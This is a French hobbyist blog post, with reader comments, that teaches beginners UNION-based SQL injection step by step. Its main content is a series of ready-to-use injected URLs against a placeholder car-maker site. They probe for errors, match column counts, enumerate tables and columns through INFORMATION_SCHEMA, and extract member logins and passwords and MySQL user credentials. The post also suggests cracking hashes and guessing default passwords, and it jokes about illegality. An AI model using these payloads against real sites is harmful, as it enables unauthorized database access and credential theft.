L’injection SQL comme un nul(l)

SQL, encore un acronyme pour faire intelligent, qui veut tout simplement dire « Langage de recherche structuré ». C’est donc un langage.

Ça ressemble à ça :

select nomdefruit from fruits where perime=’faux’ and id=92

Cet exemple renverra les noms du fruit 92 s’il n’est pas périmé.

L’injection SQL, ça sert à quoi ?

Ça sert à afficher des données que le concepteur d’un site Internet n’a pas voulu rendre publiques (des emails, photos, mots de passe, etc. )

Comment ça marche ce truc de fou ?

Reprenons notre requête cherchant nos fruits. Mais à la place de 92, cherchons le « numéro » suivant :

92 union (select nomdutilisateur from utilisateurs)

Nous nous retrouverons donc avec cette requête :

select nomdefruit from fruits where perime=’faux’ and id=92 union (select nomdutilisateur from utilisateurs)

Qui fonctionnera très bien et nous renverra le nom du fruit 92 s’il n’est pas périmé ET les noms des utilisateurs de notre site.

Est-ce bien légal tout ça ?…

Vas-y, tente de le faire sur un site du gouvernement, je t’apporterai des oranges demain 🙂

Exemple grandeur nature (parce que la théorie c’est bien mais j’y ai jamais rien compris)

Notre site : http://www.constructeurdebagnoles.com

Je m’y connecte.

Je vois qu’ils proposent des produits. L’URL d’une page produit… URL??!! qu’est ske c’est kce truc encore ? J’y comprends rien à ton charabia ! O_o

URL : Encore un sigle qui fait intelligent, c’est la ligne de texte dans le champ blanc en haut de votre navigateur WEB (je suppose tout de même que vous savez ce qu’est un navigateur WEB… Firefox ou Chrome par exemple)

Donc, notre URL ressemble à ça : http://www.constructeurdebagnoles.com/view_product.php?id=525

On peut donc supposer que ça va appeler une requête qui ressemble à ça :

select id,nom,description from produits where id=525

On tente de générer une erreur dans le script en modifiant l’URL

http://www.constructeurdebagnoles.com/view_product.php?id=525

Notez la simple quote à la fin.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near  »’ at line 1

Bingo !

Aller plus loin : lister les données de la base de données

Vu que le site est en PHP (voir l’extension .php dans l’URL), on peut penser que le site utilise MySQL (un truc qui cause SQL).

MySQL dispose de données spéciales recensées dans « INFORMATION_SCHEMA » (nom des colonnes, des tables, etc. )

Entrons donc notre requête dans l’URL :

http://www.constructeurdebagnoles.com/view_product.php?id=525 union (select table_name from INFORMATION_SCHEMA.TABLES limit 0,1)

Ici, le « limit » est une astuce pour ne récupérer qu’une seule ligne à la fois. Effectivement, on est sur une fiche de produit et non pas sur une liste de produits, on peut donc penser que le site ne va pas boucler sur les résultats.

The used SELECT statements have a different number of columns

Qu’il est sympa SQL, il nous dit même ce qui cloche dans notre requête ! Ajoutons donc des champs :

http://www.constructeurdebagnoles.com/view_product.php?id=525 union (select table_name,table_name,table_name from INFORMATION_SCHEMA.TABLES limit 0,1)

J’aide un peu, ici il nous faut 3 champs.

Cool, ça ne plante plus !… Mais ça ne m’affiche toujours rien…
Ça,  c’est parce que, comme dit précédemment, le site ne boucle pas sur les résultats. Or, vous avez 2 lignes :

  1. Le vrai produit
  2. Le nom d’une table répété 3 fois

On va donc faire en sorte de ne pas avoir de vrai produit en entrant un identifiant qui n’existe pas (au hasard : 1234567) :

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select table_name,table_name,table_name from INFORMATION_SCHEMA.TABLES limit 0,1)

Pouf ! Toutes les données du produit disparaissent de l’écran!
Mais ça ne nous dit pas « produit non trouvé ».
Allons voir le « Code source de la page »… Pas de panique, téléchargeons l’extension firebug pour firefox et tapons F12.
Maintenant, cliquons sur le petit carré bleu en haut du bandeau firebug et pointons la souris sur l’emplacement où était cette jolie photo de bagnole avant de n’être qu’un cadre blanc.

Miracle ! Le nom de la photo est en réalité le nom d’une table SQL !

On peut maintenant augmenter petit à  petit le « limit » pour lister toutes les tables :

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select table_name,table_name,table_name from INFORMATION_SCHEMA.TABLES limit 1,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select table_name,table_name,table_name from INFORMATION_SCHEMA.TABLES limit 2,1)

De la même manière, on peut ensuite lister le nom des champs de chaque table :

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select COLUMN_NAME,COLUMN_NAME,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’nomdematable‘ limit 0,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select COLUMN_NAME,COLUMN_NAME,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’nomdematable‘ limit 1,1)

Enfin, avec toutes ces informations, on peut lister le contenu des champs de chaque table :

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select member_id,member_id,member_id from members limit 0,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select login,login,login from members limit 0,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select password,password,password from members limit 0,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select member_id,member_id,member_id from members limit 1,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select login,login,login from members limit 1,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select password,password,password from members limit 1,1)

Optionnellement, on peut aussi chercher à s’introduire directement dans le serveur SQL en récupérant la liste des utilisateurs :

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select host,host,host from mysql.user limit 0,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select user,user,user from mysql.user limit 0,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select password,password,password from mysql.user limit 0,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select host,host,host from mysql.user limit 1,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select user,user,user from mysql.user limit 1,1)

http://www.constructeurdebagnoles.com/view_product.php?id=1234567 union (select password,password,password from mysql.user limit 1,1)

Mais dans la plupart des cas on aura droit à une belle erreur :

SELECT command denied to user ‘constructeurdebagnoles-789‘@’localhost’ for table ‘users’

En gros, il nous dit qu’on n’a pas le droit de voir la liste des utilisateurs et leurs mots de passe, mais il nous rappelle gentiment notre nom d’utilisateur à nous 🙂

Avec plus d’investigation, on peut ensuite trouver l’URL de connexion au  serveur SQL (souvent contenu dans la table « INFORMATION_SCHEMA.SESSION_VARIABLES »), avec cette URL et le nom d’utilisateur, il ne nous reste alors plus qu’à trouver le mot de passe (qui est souvent admin ou password…)

Je vous conseille grandement de vous mettre à apprendre un langage de programmation tel que le Java ou la ligne de commande Unix afin d’automatiser la récupération de données par injection SQL… Sinon vous y passerez des jours entiers :-s

Il existe bien d’autres possibilités pour contourner toutes les protections possibles et imaginables. Je vous laisse donc quelques liens :

  • http://www.md5decrypter.co.uk/ : Site qui permet de retrouver un mot à partir d’une chaîne de caractères MD5 (c’est un algorithme de cryptage, ça ressemble à ça : 68eacb97d86f0c4621fa2b0e17cabd8c une chaîne de caractères MD5) Souvent les mots de passe sont cryptés dans la base de données.
  • http://pastebin.com/ : Site normalement utilisé pour laisser des pense-bête à la vue de tous. Mais il est principalement utilisé par les pirates et les virus pour partager leurs informations. On peut y retrouver les dernières informations sur les Anonymous ou des listes de failles sur des sites Internet.

Encore une fois : Dans un élan de générosité, l’Etat devrait vous offrir le gîte et le couvert si vous vous faites prendre en train de pirater le forum de cul dont vous vous êtes fait bannir.

J’oubliais : ça marche sous Windows, Linux et même MAC ! Pas besoin d’être un gros barbu pour y arriver alors 🙂

Publicités
À propos

Un informaticien, qui tente de faire comprendre au public que l'informatique n'est pas si compliquée, malgré des acronymes et autres termes obscurs pour faire croire que c'est difficile (et que c'est de votre faute si "ça ne marche pas")

Tagged with: , , , , ,
Publié dans Informatique, Piratage
3 comments on “L’injection SQL comme un nul(l)
  1. Fisker dit :

    Bonjour,

    J’ai bien essayé sur mon site, mais cela ne fonctionne pas dès le départ, c’est une boutique prestashop, je suppose que ce genre de fail sont corrigés

  2. morantin dit :

    bonjour, pourquoi nous donnez vous tut ses renseignement avec un tel humour (ex:Encore une fois : Dans un élan de générosité, l’Etat devrait vous offrir le gîte et le couvert si vous vous faites prendre en train de pirater le forum de cul dont vous vous êtes fait bannir.=autant dire tout de suite ue c’est illégal et qu’on peut direct aller en tôle ) bon a part sa bon conseil pour les pirateur qui s’en foutes si ils se font prendre a pirater le site d’une vente de nougat…

    • mystcaster dit :

      Je donne ces renseignements à titre informatifs pour tester son site ou au moins savoir ce que des personnes mal intentionnées sont capables de faire.

      Bien évidemment, je ne le répéterai jamais assez, si quiconque met en application ces tutoriaux sur des réseaux ou des sites WEB qui ne lui appartiennent pas ou pour lesquels il n’est pas mandaté, il risque gros (amende salée, prison, etc.)

      Je teste tous mes tutoriaux sur mes propres réseaux et sites. 🙂

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

MystCaster
janvier 2012
L M M J V S D
    Août »
 1
2345678
9101112131415
16171819202122
23242526272829
3031  
Catégories
Archives
%d blogueurs aiment cette page :